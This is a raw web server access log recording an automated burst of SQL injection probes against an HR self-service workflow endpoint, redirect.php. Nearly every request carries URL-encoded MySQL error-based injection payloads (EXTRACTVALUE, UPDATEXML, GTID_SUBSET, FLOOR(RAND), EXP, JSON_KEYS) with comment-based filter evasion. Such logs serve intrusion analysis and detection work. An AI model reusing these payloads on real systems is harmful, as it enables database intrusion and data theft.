100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x64635159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76423336%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FPrWa&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d4c557a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65796b4c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FXB6o&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d4c557a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65796b4c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FXB6o&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3453426f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64696a6c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2F6BQm&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3453426f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64696a6c%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2F6BQm&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a467171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71677358%29%2C6420%29%23%2F%2A%2A%2FtoCo&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a467171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71677358%29%2C6420%29%23%2F%2A%2A%2FtoCo&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x65684f74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f745351%29%29%23%2F%2A%2A%2FnU0d&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x65684f74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f745351%29%29%23%2F%2A%2A%2FnU0d&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x57345149%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c767572%29%2C6420%29%23%2F%2A%2A%2Fkhye&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x57345149%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c767572%29%2C6420%29%23%2F%2A%2A%2Fkhye&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x54644b62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c676137%29%29%23%2F%2A%2A%2FWOKa&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x54644b62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c676137%29%29%23%2F%2A%2A%2FWOKa&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x496c6e49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64497954%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FscFZ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x496c6e49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64497954%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FscFZ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d743738%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x416e4a72%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FgkdB&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d743738%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x416e4a72%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FgkdB&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7677336d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6445424c%29%29x%29%29%23%2F%2A%2A%2FhCmN&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7677336d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6445424c%29%29x%29%29%23%2F%2A%2A%2FhCmN&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5046564b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41713479%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FFUnc%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5046564b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41713479%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FFUnc%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x71754b75%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39587039%29%29x%29%29%23%2F%2A%2A%2F8gGY&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x71754b75%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39587039%29%29x%29%29%23%2F%2A%2A%2F8gGY&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x436d4b6b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46473672%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FTAEd&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x436d4b6b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46473672%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FTAEd&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x61536b55%2C%28NULL%29%2C0x4a50436d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhSOf%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x61536b55%2C%28NULL%29%2C0x4a50436d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhSOf%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5250374a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70313578%29%29%23%2F%2A%2A%2FBtqv&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5250374a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70313578%29%29%23%2F%2A%2A%2FBtqv&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e787674%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d396e6b%29%2C5431%29%23%2F%2A%2A%2FeyFI&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4e787674%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d396e6b%29%2C5431%29%23%2F%2A%2A%2FeyFI&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x41564754%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5666485a%29%29%2C1%29%23%2F%2A%2A%2FDtui&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x41564754%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5666485a%29%29%2C1%29%23%2F%2A%2A%2FDtui&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x71633241%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54503044%29%29%23%2F%2A%2A%2Fk22Z&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x71633241%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54503044%29%29%23%2F%2A%2A%2Fk22Z&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x66655257%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d454469%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FJ28Y&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x66655257%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d454469%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FJ28Y&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
